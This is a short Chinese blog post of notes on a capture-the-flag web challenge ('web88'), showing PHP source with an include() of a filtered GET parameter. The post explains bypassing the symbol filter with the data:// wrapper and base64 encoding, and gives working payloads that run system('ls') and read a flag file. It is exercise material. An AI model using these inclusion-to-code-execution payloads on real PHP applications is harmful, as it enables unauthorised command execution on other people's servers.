web88笔记(过滤大部分符号,除了:;,)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

没有过滤冒号 : ,;可以使用 data 协议,但是过滤了括号和等号,因此需要编码绕过一下。

这里有点问题,我 ('ls') 后加上分号发现不行,可能是编码结果有加号,题目做了过滤 得到 PD9waHAgc3lzdGVtKCdscycpPz4=,

传入时要把等号去掉,因为题目过滤掉了等号,否则会触发 die 函数,即使去掉等号,base64 解码也是 <?php system('ls')?>。 总的来说就是要避免加号的出现,然后如果结尾有等号要去掉。

data协议绕过 <?php system('cat fl0g.php'); ?>
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4
查看源码
即 ?file=data://text/plain;base64,xxxx

 

posted @ 2025-03-14 15:31  justdoIT*  阅读(7)  评论(0)    收藏  举报